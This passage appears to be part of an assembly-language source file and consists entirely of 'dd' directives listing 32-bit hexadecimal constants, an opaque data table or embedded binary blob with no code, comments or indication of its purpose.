230EB359h, 0EBB5971h, 0B7598F23h, 5978230Eh dd 80230EABh, 210EAF59h, 0C305287h, 0E98011D9h, 414B1A2h dd 8C0BC5BDh, 0DA8953Ah, 22840A01h, 9951185h, 0C2809019h dd 0D81C4AF8h, 955E8D9Bh, 3452AA21h, 0C3402881h, 0FC893BD4h dd 99941201h, 2240D54Eh, 9D8B2A55h, 4CC32F13h, 6865BF0Ah dd 2250C411h, 54421EA7h, 58E4B321h, 421EB722h, 0A5AB225Ch dd 0DAB3EDCh, 506844AFh, 645A52CDh, 0AB32AF0Ch, 0B30CB719h dd 22A74386h, 9D0AA1A3h, 0D5291C26h, 22010407h, 0C1C3162Bh dd 0C4D5062Ch, 24406A24h, 0D319BF52h, 0F4E36C9Dh, 0C18295A9h dd 9BCD18EBh, 20BE941h, 0DD589A29h, 0E2779471h, 61014669h dd 349204C2h, 609B83E6h, 42081420h, 4F19ADF6h, 0E9C32486h dd 8B1821F8h, 818FA1B5h, 0D3F0E0E6h, 0E8DAC818h, 81896C9Ch dd 3BCDE8C6h, 39A561B5h, 0BBE9860Fh, 0D8201E51h, 0CFD8225Ch dd 266506Fh, 324C88Ch, 1B42C00Ah, 0BAD22A0Fh, 8B12B6E2h dd 864D2085h, 0DB480A18h, 6167413Fh, 4B1C784h, 0CFC69124h dd 710ABB4Eh, 0D90E108h, 5FF977Bh, 0C0C0FEF9h, 96531CC0h dd 89668F42h, 209FC6Ch, 2B535B57h, 82A04C09h, 224344E1h dd 5326BBE0h, 80CB0CEFh, 84C303E3h, 764B3868h, 2FC7765Eh dd 83B1306Dh, 29E6BA44h, 8915C598h, 18787C06h, 0BD242BE5h dd 29012333h, 91A25BBDh, 806009A3h, 31EA243Eh, 0B7A1BB40h dd 0B01C763Ah, 0E4A7B101h, 8AAC0338h, 32C302C8h, 0AACBD190h dd 40D20B32h, 0A4A2101h, 0E5D691C9h, 0DD0D236Fh, 52104011h dd 5773D48Bh, 33087A05h, 2103E9C0h, 853F80AAh, 5A5F8D61h dd 5153BC50h, 9332DC56h, 3DBAF2DBh, 0D1D800ACh, 0BCC381D3h dd 3746375Ah, 49469FB0h, 0E844970Bh, 5EC30E8Bh, 608A5B59h dd 4951697Bh, 2AEAAC19h, 0C020775Ah, 0DF21E747h, 0D8190FA8h dd 293C04A8h, 0E246D44Ch, 4A80962Eh, 858FC160h, 6421A44Ah dd 3E064214h, 1A8944BDh, 3F23E938h, 8B8FB8F9h, 1705C040h dd 529B46F3h, 14432189h, 46D53C3Fh, 305F1E94h, 0DAE917Ch dd 146987E9h, 727682DFh, 0C7A4D40h, 0CAB2B804h, 0B4F8A945h dd 30060E9Ch, 46C8D140h, 0F14F73Bh, 908DF182h, 280829EAh dd 284C297Bh, 51567028h, 40135348h, 0C494A2Ch, 2D3C8567h dd 800AC908h, 13349804h, 0C112D832h, 1C1508C3h, 0A1CD467h dd 375E595Bh, 0D2219820h, 1C610B48h, 53FA8191h, 21AC410Ch dd 0B1084922h, 206A1641h, 7F29AE0h, 0DB564200h, 724615F4h dd 5B371E6Ch, 179BA36h, 0F18166A7h, 845EC01Ah, 520BD90Ch dd 6E65D8C1h, 0FB48104h, 5900178Ah, 9576BF5Ah, 51B7BD00h dd 603A068Bh, 80C83966h, 619DBCBEh, 39CC081h, 805BAF56h dd 0F0C82BE6h, 0DA0636BBh, 0CE86079h, 486B0053h, 1FA41463h dd 0D50B66AAh, 64E6DBAh, 4A5802h, 0B254DEE8h, 0B350F86Bh dd 1F8FD52Ch, 0E0DFB70Fh, 0DCF6A0EEh, 0D912CC2Ah, 9A89CBEh dd 0BEA14FCAh, 7CB910A8h, 46B008Bh, 53F97FE9h, 913A3BC9h dd 800B3FBAh, 21D7F196h, 33F8FD31h, 0A10939BCh, 0F9762101h dd 59C8D4D7h, 87E3D0h, 0E03836F3h, 0C10697F0h, 0B203F2FAh dd 40124CB6h, 580790F5h, 0A7C906ACh, 78EE6662h, 17BB0100h dd 9640B6B9h, 16A33C3Ah, 4C153600h, 0CAAC8ACCh, 6224C707h dd 0A0C6CE3Eh, 4AB90220h, 2303BB2h, 5D23209Ch, 0C6631DD1h dd 787295A2h, 99DF706h, 2258580Eh, 0A7008BEAh, 0B6B8F13Dh dd 0C368B4C9h, 0B1A80B08h dd 31D8B0DBh, 1107E33Bh, 53AEC7CEh, 0ECEFF907h, 0A1328BBh dd 9C80D233h, 804611A8h, 3118D7EAh, 22F94345h, 0F26F009Dh dd 63CFE1D7h, 0AD7CF124h, 0E33DFE0Ch, 0F05020BFh, 428A448h dd 311AD7E4h, 20A36255h, 0DDD7EC6Dh, 0E001A573h, 82CFD6C3h dd 0F088BD37h, 3C43AE72h, 0B348A406h, 0CD40DE80h, 0E2BA37F7h dd 0D0A918E6h, 36B65833h, 0B754BF05h, 9447FBE0h, 1BE02A41h dd 7D6ADC2h, 0C5856349h, 3A8AF028h, 1F0E6E34h, 21171B65h dd 0BCB4EFBAh, 60596980h, 5E32427Eh, 3A191D0Ch, 0C16D086Eh dd 7E687F21h, 0AFD1F4C0h, 0E0C781CFh, 0CA02B239h, 0A46A0096h dd 0C47A171Dh, 525C43F8h, 31680C32h, 64931BEh, 0E05910C3h dd 2D00E913h, 17DDA6F1h, 15F97ACCh, 9CA59243h, 79520600h dd 97706F29h, 0DA42C013h, 40589E01h, 0C44E5CF1h, 62C09D88h dd 0C948C87h, 0D0CB71Dh, 69E83189h, 1117E130h, 1FB21EBh dd 9A7591F0h, 0BC7D8CBDh, 4CB4D408h, 0D4FB2A00h, 64A7F8EAh dd 66D71CF5h, 39198090h, 0C1EE34E0h, 6CB50F15h, 0B2EC00A0h dd 2A7B335Ah, 0DB8D005Eh, 0CA3D2BBCh, 3E0028C6h, 3739BB04h dd 18E6C438h, 0B9A99229h, 0BE0081EFh, 0C59E099Ch, 53B5022h dd 970A4DC2h, 4022C119h, 0B9983F6h, 917D32CEh, 68485CB9h dd 10FB731Ah, 0CC8E4D91h, 7552104h, 4882FB23h, 1B9210E0h dd 78923969h, 0ED93B601h, 0CD6B8F5h, 8CEE1C20h, 2F7E6304h dd 65625632h, 7E6B8020h, 79D603F1h, 0A192F24Dh, 271DD1C0h dd 0C961BC67h, 7D3ACAB0h, 18F98118h, 447E085Eh, 79706E32h dd 2E7E7666h, 1D283A2h, 6C4E3EE2h, 678EC819h, 8FB81B7Eh dd 3DA6F806h, 2638BA22h, 4AA03FFEh, 880810BCh, 0B080BE6Bh dd 0F12E56CBh, 0A507FB47h, 309122F8h, 90B1E9C2h, 73296ECh dd 0A8D4C367h, 2E9160A0h, 36003103h, 0DCFA15D6h, 0DA8183h dd 7FE859B0h, 968424CFh, 0C3934A0Ah, 0DCD431h, 2991CE52h dd 3668D41Eh, 0E9C044h, 48502143h, 0E8CFD8BAh, 1DBEE422h dd 78F76Ch, 1A8B4F91h, 0BA60D1CBh, 0B8028C39h, 2286002Eh dd 0FBEDEA95h, 37007708h, 364C7CBBh, 0E85F1C1Dh, 0A65D3C31h dd 0BA01980Ch, 907FC59h, 40F1BB0Ah, 0B519DBCEh, 10C6283h dd 902EBF60h, 0E92C7EF6h, 11BC50AFh, 38066777h, 3FFBF94Ah dd 45EF839h, 576BE263h, 5D6482E8h, 11FB2530h, 941591E4h dd 2E5880CCh, 4E7FFBh, 2AADDA05h, 0B7D67B9h, 89331F05h dd 8840B6B1h, 66D90B7h, 2C5800ABh, 843AE29Bh, 0CCA0BF21h dd 0B1584E0Bh, 0CB0A274h, 6B60E448h, 502D32B1h, 90A8B069h dd 0F6A500B0h, 0EABC1714h, 0B8B144E6h, 20106444h, 133846F2h dd 0C20B2401h, 80F3118Ch, 322E7E54h, 68448C3Eh, 7E5C0073h dd 0ED6495CEh, 0D126A0B9h, 0BF003057h, 2568CD36h, 0E1B680A6h dd 57B00754h, 1701B4FEh, 5F2CB50Dh, 16C8D4BBh, 63FE81h dd 75470FADh, 3326C736h, 0B21F7F19h, 441B971h, 0AC3446D1h dd 6C3A3EE9h, 0BAF8F580h, 5DCB3E63h, 0A3C330Ah, 801EB4B7h dd 5F248483h, 92C1E0B3h, 0B9BA3731h, 35B78048h, 0C5007438h dd 0FB4C3691h, 153BB35Eh, 0D4B15584h, 223A6C12h, 1840E964h dd 56372CB7h, 92512052h, 4F00CAEDh, 0C5039B40h, 12FC7BF8h dd 2FC0CF31h, 0A041BDE5h, 0F3F5BC4h, 0E636AC8Bh, 940068CBh dd 35B9E7FAh, 0BF4C3205h, 441E0E92h, 36585130h, 314B6E96h dd 722C2501h, 94808289h, 0E1AFB8EEh, 62F031C0h, 0E18C058h dd 60168133h, 3CECB304h, 3A00905Eh, 0DA01E211h, 29CCC548h dd 8D8D94EDh, 79E43005h, 606DF091h, 3C251020h, 846F73A2h dd 21ED8670h, 0F8D12418h, 7FE989C0h, 181D2880h, 361E7643h dd 0E4285D91h, 0D1FC3E18h, 2E806329h, 734B02Bh, 0CAD03AF6h dd 7B311B0h, 0A7B5A306h, 8A5490DBh, 4BCEA197h, 2F733F0h dd 16F95808h, 1B603725h, 0FC2619F1h, 33A08C1h, 2D6C5221h dd 0E051127Ah, 0CADC01B1h, 30B57BE2h, 0F3FB9864h, 0B42C90FCh dd 1180ACF2h, 0BCF95053h, 15BF6D1h, 0E261B6C6h, 20C3882Eh dd 0C406868Ch, 0EF83120Bh, 11D04229h, 0C8212FFCh, 91ED9708h dd 11EF00DCh, 0D99DFB7Ch, 0CDAA00E8h, 0FC1C1B2Ch, 0C400570Ah dd 82C0D238h, 0FEAFF7Bh, 0A662D3F1h, 55400260h, 8800B893h dd 0EC65C447h, 3B82DD46h, 2F00EBF5h, 0D9ADA545h, 0D201F92Ah dd 0F671AB2Dh, 8CE488D6h, 0F02011Ah, 0A1484406h, 7F1880F9h dd 0EE1F890Ah, 0CC9C2E7Dh, 19D0359h, 197759B8h, 0B68AB70Ch dd 6E1037h, 4DAAB956h, 0F421F052h, 220DB300h, 4EDA9F5Dh dd 96EF002Ah, 7DC21A50h, 6000C56Fh, 8AC79962h, 8C5CFAh dd 8E95939Dh, 0E5899A7Eh, 1AAF0100h, 78BC070Dh, 0B65E5848h dd 0F45B9E05h, 0D7E00018h, 5632499h, 0D3540200h, 83C3D535h dd 7F820764h, 305A206Ch, 53E8632Bh, 79BB8600h, 0F76AD14Eh dd 0A02A00FCh, 4D686F9Dh, 640A9FE5h, 98E97E0Ah, 527DCD00h dd 49ED448h, 2CADD63Fh, 747701FAh, 8847CD35h, 0B61F4170h dd 2F8D15B4h, 0FD008CEFh, 589CD386h, 16740502h, 769FB500h dd 12C1796Fh, 0A0F738B4h, 0C4B0FD80h, 0B764AC20h, 0CD63570Eh dd 1BB50781h, 7B2FE1E0h, 0EA3805B4h, 0EF8F27Dh, 0F4002CDCh dd 274CB506h, 3C44A600h, 0A239A53Bh, 4DD7981Fh, 0AD00ECDBh dd 43A98238h, 6718FDA3h, 0B7A1335Eh, 90D801E9h, 6AD7EF62h dd 5E198042h, 0E3A97DD1h, 0DDE60F27h, 12C0BE55h, 6CFDC53Ch dd 0FC378600h, 328C4A70h, 79E53F97h, 0F75F9E8Fh, 2DD365E0h dd 7A0072C6h, 0D0504E74h, 17EE10Bh, 0F04DD51Ch, 60B2BBA0h dd 34144C06h, 7A8A7FEh, 0DCB7925Dh, 3E845960h, 0C14B008Fh dd 93EC0532h, 2700E6F1h, 1D9865C5h, 0B99238h, 63F21B25h dd 77FA3523h, 95333D00h, 2D03B4BAh, 59E40738h, 0A012EAD9h dd 67B64D7Ah, 9D81900h, 0B8350333h, 0EE20030Ch, 0E3A5FAA6h dd 0AC04ECB8h, 0E537E902h, 816BE72Ch, 0D5BF7E98h, 0E5D9BE8h dd 0E4C6BB1Dh, 19457B00h, 0A21DEF5Fh, 0E2C09731h, 9F76F3C2h dd 9CBCE27Dh, 9B810000h, 0DF37B8A8h, 0A765D800h, 5859092Fh dd 7BB5018Eh, 0AD70DB44h, 0AB4DFCA9h, 7ED5A107h, 0AFD0D26Fh dd 1CF74840h, 40F3ACE9h, 7ACB22B9h, 0EF1CD638h, 39DD0F7Fh dd 4126840h, 0FE4126F5h, 900200FFh, 0F3E34C76h, 0EC00B12Ch dd 0D674366Ch, 0E24084A0h, 0EF091CC5h, 11FDC112h, 506D2B55h dd 0AAAFEDC4h, 62BED0A0h, 7BEB2E05h, 0BC008B8Dh, 0F1632F96h dd 73FC86h, 7AA37ECh, 83549E0Dh, 0BF612003h, 0A8F78E85h dd 9A445A97h, 698703B0h, 54B552D4h, 24E503D0h, 94F3F400h dd 0D09FEF72h, 1B1C3C29h, 59C33780h, 0A17E6AEBh, 0EE281A00h dd 9F4DD0FAh, 54FD035Bh, 0AE5A34EFh, 0DDD080A4h, 84160Dh dd 10BA4AA6h, 0F333062Dh, 0DAFD0513h, 46D06440h, 79A378Bh dd 0F631EEADh, 0AFE660B7h, 4B005DD5h, 59DD3C6Eh, 0B0A030AAh dd 86DE00A5h, 0EAB3359Ah, 340BE0CCh, 0BF1AC2h, 7065308h dd 97F200A4h, 845E591Dh, 683FCCA9h, 0C5FA6E3h, 0C7BF2E83h dd 7DA4D877h, 56B1014Fh, 1CEA0846h, 6569EE3h, 79313980h dd 8D716Bh, 0D966E576h, 0E1402E9Bh, 0CA1289E4h, 0EC5493DEh dd 0E8EC54F7h, 0C6DF4809h, 5248A02Dh, 1253D189h, 14A980C4h dd 0D90E170Fh, 77209807h, 9283CB87h, 0E9A262C7h, 0A6F791F0h dd 0A01B14DEh, 3B00D409h, 6976C4BEh, 9790788Dh, 140E6173h dd 2093D748h, 3F108574h dd 0F74600B7h, 62A68F1Dh, 9600BE6Dh, 0B974BF11h, 231F803h dd 3E28FAF1h, 0D480ECB2h, 5F9E171h, 0AD395C00h, 0B4E69EEBh dd 9F972AB5h, 821400D0h, 7B12AC23h, 59008022h, 7D4D3DD5h dd 0C12093h, 0D3E60A37h, 74AE79D4h, 12667501h, 3CD85AEBh dd 1AF92C8h, 4CDA7786h, 0FC4F47B7h, 2F3A193Eh, 0B205C52h dd 228FCCBBh, 6068FF7Ch, 11D2213h, 6C459555h, 8040CBB0h dd 0B5620A21h, 2C3805C8h, 807CCE35h, 0D66A8543h, 3E05372Ch dd 405E06F0h, 3A47C040h, 3FF5332h, 0A3548E17h, 0FE081DEh dd 0C3266140h, 0D6078C6Fh, 6AE50342h, 532CCDC0h, 22DB007Bh dd 55CC37D7h, 803DDB8h, 0A27E4D3Ah, 4F2080A6h, 639E000Bh dd 0BFEBD5AEh, 0CF076D30h, 451219DDh, 6280F680h, 0FB4B0094h dd 0B7825B8Dh, 0B000276Ch, 41C18389h, 0FA967DEBh, 10C800F3h dd 0A725478h, 0E4009C42h, 7C859371h, 0AE552Eh, 0A510019Ah dd 0F96B2FC5h, 7BB7C109h, 2BA44030h, 0A73400CEh, 57289DD9h dd 565CF109h, 0B8C72C48h, 6F809580h, 0A3A75407h, 7D52F8B3h dd 418600AEh, 0F2E964CFh, 0A002A127h, 224E390Bh, 811040EEh dd 0E40A4931h, 0CD92B303h, 0A6B889E4h, 68E43D23h, 7BF4B607h dd 9A505043h, 5379E6Ch, 0DBD32BFBh, 0E8B44275h, 9440A715h dd 0B6415BE2h, 559CBC4h, 0D9892E49h, 0F05329h, 5E07BF70h dd 0E901CB3Bh, 0C936EC91h, 0F4743F94h, 944A5CB9h, 8DAA88C0h dd 0D6016EA2h, 0F8342B1Fh, 33F476E6h, 0C52638C0h, 81AE8683h dd 4100BC50h, 0A589E2FBh, 38CFBED1h, 1B091C3Dh, 1880634Bh dd 318D9F8Ah, 0C5E6CA00h, 1D2F0269h, 0F7DB00C2h, 4A76FF54h dd 6E005532h, 2414718Bh, 739E231h, 0AF03C502h, 0B1D8606Dh dd 0AD00D473h, 3E60AC0Ch, 252FBE1Ch, 0D863F905h, 6872B2EAh dd 18E13B00h, 311DAE34h, 74967432h, 2ADB7348h, 3B98BDD8h dd 0DC4DD33Ah, 5CF14200h, 5D514062h, 0E4F9681Dh, 2CA58841h dd 52FCFC32h, 395E83Ah, 400D6EEDh, 0EAD127C8h, 0A740A85Fh dd 0BD3B5C00h, 6157BCF7h, 6867674Eh, 809AA594h, 0C16F3644h dd 7DBC4301h, 0EE3A2C1Dh, 68CA4040h, 3E631E5Dh, 0ECD183D9h dd 28E0C5F2h, 0FE00535Bh, 0AC8B4864h, 934D8BEh, 0B8ECD6E9h dd 48704CEh, 0D09F9262h, 0B7D12508h, 17613005h, 6CDC04C0h dd 0F2E24490h, 98F1C046h, 229A6119h, 0F00CB829h, 0FF10CC89h dd 0CB008C01h, 0BAB8CA2Dh, 132B9CDDh, 405B0C6Ch, 9290C2B8h dd 3A03EF6Bh, 0F5F2E3E2h, 658FC828h, 98C80083h, 0BC75D417h dd 7224CDB7h, 0F580A445h, 0B58AA54h, 1DC1B05Eh, 0C0C74757h dd 55423AB8h, 44983FCBh, 0AEE448h, 3C3EFC85h, 7F108D6h dd 9F69EC90h, 7E58B05Ah, 8600AA91h, 0A5E10EC6h, 54746430h dd 1714B0F8h, 2EEAC4Ah, 7EC8319Ch, 0BC1CE464h, 14805F26h dd 0E0FA0E93h, 0DFC400C1h, 7F3933A6h, 0A554B96Fh, 1C26D8B8h dd 469EA020h, 12A369C1h, 0F8309666h, 0B5A91F47h, 0DA254709h dd 457CD01Eh, 48206D22h, 4D7724B0h, 43AD00D0h, 50881FCEh dd 76966700h, 602864E3h, 736A0086h, 6D09E24Ch, 67167213h dd 0D00045A4h, 3914B89Dh, 0C65E1849h, 0D3E348A9h, 8E006C72h dd 2D945621h, 90EF69h, 0CC8152F4h, 0CB49E55Fh, 0C57BF600h dd 7CB1412Eh, 0E9083927h, 0BEDC0480h, 751E0A8Ch, 74731000h dd 2456FAFBh, 34434914h, 0B55A5077h, 7D460265h, 0E20E78EBh dd 2FC13468h, 2A08001h, 0F2DEED3Ch, 0C2E814EDh, 5BCA0037h dd 0F7F6DFAAh, 0DD4882FCh, 0F5FE0FC1h, 24F0C0F4h, 0A39351h dd 0A0260659h, 585DF76Fh, 4DE2A507h, 828085F6h, 50C0AC72h dd 943C00Ah, 717ECCC6h, 6921DCA3h, 0F501C98h, 7C9B9C00h dd 0BF46D86Dh, 15FF062Eh, 0B86A9E97h, 0B719CC03h, 800BD17Ch dd 9730939h, 0E3FA2611h, 9921440Fh, 74C94CF1h, 3A7DA098h dd 59D27313h, 0ED2E3880h, 85EB0347h, 431BE1B6h, 89AECF98h dd 8A206D60h, 26AF68h, 1E345820h, 0F311622Fh, 18607D48h dd 0E229BA73h, 1FFC00B2h, 55C432EEh, 0C5001D98h, 5C4252D9h dd 12E37A33h, 69CE6Fh, 0F76C4850h, 120EF58Fh, 0C0AD75CCh dd 58D9D10Fh, 6A520017h, 196E329Dh, 3C70BA68h, 70AD410Fh dd 7DAB00D2h, 395861h, 51D664B0h, 4B95BBE0h, 44B48600h dd 67A1E3B3h, 71C8006Fh, 1EC79CEDh, 0AD24B989h, 0E11FC5DAh dd 0C65FA242h, 0F541C01Dh, 8E830073h, 0B1F13735h, 6F0AFCF3h dd 9C6540F6h, 0BD448Fh, 2A0DDF7Dh, 132200ADh, 0B254A25Bh dd 8800CE87h, 1A05C1FFh, 741D6Ch, 47D6790Fh, 1B8B7555h dd 0DB0327h, 713F5200h, 1F5F00C0h, 0E9247A7Ch, 0F40389D0h dd 2156B7D8h, 0EEA6E8E7h, 33A300EFh, 0F602FC3h, 0AC00FEB0h dd 9D837C4h, 0F5A859h, 8374792Bh, 1ED6DBCFh, 0E9FFA600h dd 0BD02D8DEh, 0B747072Dh, 20E7B299h, 5FFB6432h, 4E00B3E0h dd 7BE1AD53h, 66AFECh, 2FEEEA62h, 4F28C7DDh, 1E4ABC00h dd 5C17D130h, 129D1806h, 0A08C28B0h, 0D2109300h, 0C6DFA240h dd 50CFB0BBh, 87CF18h, 0FADB65DEh, 0A9D14A33h, 32367B00h dd 499A244h, 715E3AC7h, 0D9515983h, 0C6D0F17Eh, 0D500E84Eh dd 7C9307F6h, 0B21D88h, 0B340DBC8h, 89C5C2A2h, 17AE5E00h dd 1B7BF850h, 72670001h, 5F055668h, 5A00C64Fh, 78509BAh dd 1698D2BEh, 0EC5B10E0h, 4D4CC1h, 6EF03B84h, 716DEE8h dd 5BD4B98h, 9F5B04Eh, 0C403A5E6h, 91A794ADh, 9900C721h dd 6C5AE0h, 4D97FE16h, 417B1B2Bh, 808B553Dh, 0E46BEC32h dd 0FA695Fh, 9D2C527Ch, 0E1E2240Eh, 53EA041Fh, 0F5EE8700h dd 0FD81939h, 455431EDh, 8E695260h, 86001BAAh, 0A4E7E6C3h dd 6B431Fh, 7B77B751h, 9EEAF099h, 0FD3DC80Eh, 29EE0074h dd 4A454809h, 0E98892CEh, 0C1A0BD84h, 64B43458h, 0CA00309Ch dd 1D94B75Fh, 5C9BE1h, 67A43CE8h, 22927013h, 0B60052FAh dd 97DFCBA2h, 0D53B7h, 0A8756751h, 0AB03FCF6h, 7AFFDC00h dd 4F3A09E9h, 0C98A3CB7h, 2F0ECE00h, 64A84B7Bh, 920038E6h dd 43FBDD48h, 1B70B429h, 88B9DCA6h, 2DF05290h, 20977F0Eh dd 0D1E7C01Eh, 1659A050h, 838C54FDh, 15881190h, 2A3C68F3h dd 0A59EBE46h, 0B1708077h, 4F3C3B43h, 30980071h, 47B7EFD6h dd 0DC4A3704h, 0D8D04873h, 0BE89F2h, 8D872402h, 0A403D51Eh dd 9FCB740Ch, 96F812h, 1073DF44h, 0F980C931h, 0C7BE4900h dd 3F384F1h, 0B9A0050h, 0F26A8BE9h, 76E42A3Ch, 0B96426h dd 0CF21107Dh, 4E035A5h, 8A475816h, 2ABC58A2h, 89683104h dd 40A4ADFAh, 13A681E0h, 0BD35A07Eh, 1820DE93h, 8FF21086h dd 47E09E89h, 55200FBh, 0A14E74D9h, 64009731h, 57CE59E4h dd 0F4BE213Eh, 39F91D1Dh, 9C1915AEh, 0C63A4109h, 61402448h dd 0FF275D06h, 0FE583814h, 48D91232h, 407C91CAh, 0B596D8F9h dd 3AE59A3Ch, 89E40A8Eh, 0D10560FDh, 0E0C0F8ACh, 2E01AEC2h dd 1ECE77Dh, 0F17F7CBBh, 7100F7D1h, 8865364Ch, 16C10EEh dd 0AF015599h, 2E2BDE09h, 62C12C20h, 0A0FE0E7Eh, 56230C5Bh dd 3988B3ECh, 1E258182h, 0C0C6BAh, 369CD5EDh, 67878E1Bh dd 35186260h, 25CABF38h, 30C89263h, 0DF006D3Dh, 37518FC5h dd 89FBF8h, 31DB841Eh, 5DE31355h, 609F2E03h, 91161A48h dd 3F0A362h, 3F0C0002h, 44E965D1h, 0BF034852h, 623934D4h dd 3BA4E03Ah, 54706F47h, 272CD052h, 0A17F8BC2h, 0BF1C3E01h dd 2C3B6733h, 52FBF9CCh dd 0FE00A031h, 64B2ABF7h, 972589F1h, 4B7C64B8h, 0F8B0DCF4h dd 4B01F01h, 539FBD77h, 30AE1F0h, 0ACD3F48Eh, 290064B4h dd 516AAAF7h, 2123F0h, 2B0CFD9Eh, 0BA98D7CDh, 0D0A1CE0Bh dd 2C2CE155h, 12726C0h, 2A507EF9h, 43A7856Dh, 0ED884AD7h dd 76009BEBh, 327767D1h, 3022DDh, 3F8365ECh, 0A1683581h dd 4705AF00h, 0E2481DBBh, 75FCA7h, 0D56F85D8h, 0E41FC742h dd 5533DD00h, 0AFA4A8BDh, 0F18A024Bh, 8BBC7ABAh, 9FC7077Fh dd 71CEF800h, 6C99008Ch, 28038676h, 7008A75h, 0C0EC499Bh dd 92340Dh, 0BB645778h, 418DAB7Dh, 6C9BF51Fh, 752DE5C0h dd 2DB87B9h, 93F35427h, 22C178DFh, 0A919E867h, 4898A407h dd 7E005D55h, 1E3DA7h, 0AF929925h, 89E88EDDh, 0B9DB750Eh dd 506CC0B0h, 1567A63h, 226F3F8Dh, 4428AA86h, 79046C94h dd 46814A5h, 9B015077h, 0AFA53Eh, 7B4AA155h, 16EA7E7Ah dd 7887337h, 0D0404C5Ah, 0ACA6AB01h, 0CF54280Ch, 4406294Fh dd 5744F238h, 0E0A44417h, 0A0D24D44h, 8961D028h, 5D144103h dd 102E1243h, 0EF88603Ah, 46FD88A3h, 2423948Bh, 285B4AE4h dd 90453E08h, 63D19C16h, 0E114A076h, 862897Fh, 3FF0209Ch dd 0B1113342h, 8BE2170h, 9F94EA51h, 710D1150h, 0FD148A21h dd 88B2114h, 0A6887829h, 0EFA2BA36h, 10117742h, 3F2222Bh dd 929F3C6Fh, 42B018DDh, 347FABCDh, 9079BD07h, 0D7002F0Dh dd 3E979Ah, 35CFCBF8h, 0B33CABC9h, 0AE3A8E00h, 997E54A3h dd 0DC740007h, 0BB137C90h, 9E007BDDh, 4C63AA22h, 0A678BFh dd 0F3A5E5B5h, 3B8F23B3h, 0A0F71200h, 0E1D0551Eh, 0A63239CFh dd 0B3984200h, 81636869h, 2F3D7600h, 0CF3421A1h, 1880F7F4h dd 3EB706ACh, 91002B71h, 60B6A5F1h, 0E4020Ch, 0CB0ED016h dd 1730E5ACh, 73392309h, 50538AB7h, 0A95DBE00h, 4F04D0h dd 2CC5BAC6h, 69EA354Ah, 84019EF8h, 4E159854h, 0E3FCDB6Dh dd 10FA05FEh, 0C0263917h, 6A3E6577h, 0FCB3BA00h, 0E4ED3FEEh dd 0A54F00CCh, 31990C28h, 0A4015211h, 0B43AC365h, 8820D01Dh dd 0C125176Dh, 0FA4F0777h, 0A0E7303Dh, 0D00ADF2h, 682CD29h dd 7EF6E2h, 26BF02B0h, 0E4847499h, 0E9316A00h, 9060360Fh dd 3BFAE2E7h, 0B883FCE5h, 0D393ACF0h, 0C7EB50F8h, 0E2082818h dd 0DB4DD8h, 496B5B5Fh, 0EC0A4FFAh, 0D576E80Fh, 7F9EE0C6h dd 3D2AD9h, 0D3038824h, 0D7FA8290h, 742E8D1Dh, 0F7172340h dd 1781E9A1h, 0CD1A9Fh, 1BC70D93h, 0EB908736h, 0CA107D00h dd 77BDE650h, 0C4410C47h, 45B89314h, 78812E1Fh, 8DC91800h dd 2BE455h, 0E3304609h, 0C14B3C93h, 0A348B814h, 6AFB0090h dd 0FAC470FEh, 9460006Dh, 0EFD35D49h, 3700C96Fh, 0B8FB21BBh dd 38ED6876h, 60011EBDh, 4FC8F99Ah, 393B202Ch, 29FCF400h dd 3719BE61h, 6E3000Ah, 0F7E1CF5Ah, 0AA01B3CEh, 86964CFBh dd 40C06D09h, 5B7D0080h, 56432599h, 0DB0A5CC8h, 0ACA79296h dd 712A4100h, 1E8DB89Eh, 808A2B86h, 10792D60h, 65746BF5h dd 9025C80Bh, 8F2480C5h, 1D3C3014h, 7DBDDA29h, 18A82480h dd 58C09DD0h, 826A743Dh, 63885F59h, 655440F1h, 494401B4h dd 7BC75709h, 24FEF1F9h, 0F7120758h, 8A02CCE0h, 41E912E2h dd 18E83554h, 0E1BD00F9h, 44F7720Bh, 0B5008C7Dh, 774390ACh dd 1CE5B8C4h, 8E5E6A46h, 0E129DC94h, 0CF190C00h, 2B0099AEh dd 161B5859h, 456B9Eh, 6DCC02E9h, 0EF4A8EEAh, 1FB51826h dd 0D358BC00h, 1B28470h, 2A280E2Eh, 6012A946h, 5700DBEAh dd 0F7D4D698h, 16D2533Bh, 0FC6DFFEEh, 0B8BD3A75h, 3E8703DCh dd 0A0390F7Dh, 24751FBCh, 28CB50h, 1602656Fh, 0F300E2B9h dd 92BCA2A3h, 0F0312BDh, 7FF7C2EEh, 51F894E0h, 99021172h dd 7A3B8130h, 0B7908098h, 35DB2AEh, 0D506232h, 64008D63h dd 0B88AD1C7h, 3A47E40Bh, 0E8006865h, 3C3B6A2Ah, 0E0053BFh dd 0A009C303h, 0FC2874h, 0B32DBEF1h, 0C7E12570h, 36B4FF00h dd 8680CF97h, 8357005Dh, 0D95209E6h, 2A00591Fh, 696B3C6Ch dd 2324CD1h, 38C6A3CCh, 2F6083E7h, 0DF3C55E0h, 42DB9F3Ah dd 5B80C280h, 0A58CA8h, 0BD16CEA1h, 589D297Fh, 140298B8h dd 7CF2EE32h, 2588605Dh, 9BB0255h, 0C1FB9D4Ah, 30F382E1h dd 51003EE5h, 0BC5A1BF2h, 978A08h, 0A72FF430h, 0B99FBEE5h dd 0ACDB0A03h, 0D0EA9624h, 71A2B94h, 66D5D4A6h, 0C10C919Fh dd 0CF85C4F7h, 0C200FE78h, 6EDC9E9Dh, 3484C09h, 32D8396Bh dd 0DA88E85Eh, 48903C75h, 0AC181200h, 7F105B9h, 83F5002Bh dd 215B1A4Ch, 0D22C9629h, 0FF0124D4h, 0F7C41116h, 6804CC81h dd 2053269Ah, 0C500ECB0h, 0E55C6FC1h, 900C34D8h, 0C6933DDDh dd 0D7E43000h, 6891629Bh, 8514FA00h, 7CDB4283h, 18070169h dd 0E228C690h, 0B547E8CFh, 2F6DF903h, 0A14BD63Ch, 0ADE887ACh dd 322800B6h, 9056513h, 11C0FE03h, 0C687D121h, 55100083h dd 519BCC9Ch, 3000A337h, 0BA6988EAh, 7F69089h, 44C529CDh dd 0E3406F5Dh, 5E707F0Dh, 795CA44Ch, 17A64E00h, 596E06C6h dd 96D600E7h, 0D212EE41h, 0E800F1DAh, 5AD18CDh, 6CA2B5h dd 0B963176Bh, 77C4A81h, 2800E472h, 406EBB48h, 7BC51375h dd 0F0F600E9h, 9B89F979h, 0CB395A2Eh, 0B6C79EF1h, 950ED840h dd 6A2F50h, 549BC24Eh, 265B9FBCh, 0AF5C3B00h, 0B21EEFE0h dd 64793841h, 242C8381h, 473FD537h, 9734D0E0h, 140025DAh dd 0A3954A67h, 863A2Ch, 76B58841h, 9FE2CFF4h, 97E388C0h dd 23C1FDh, 0F286BB05h, 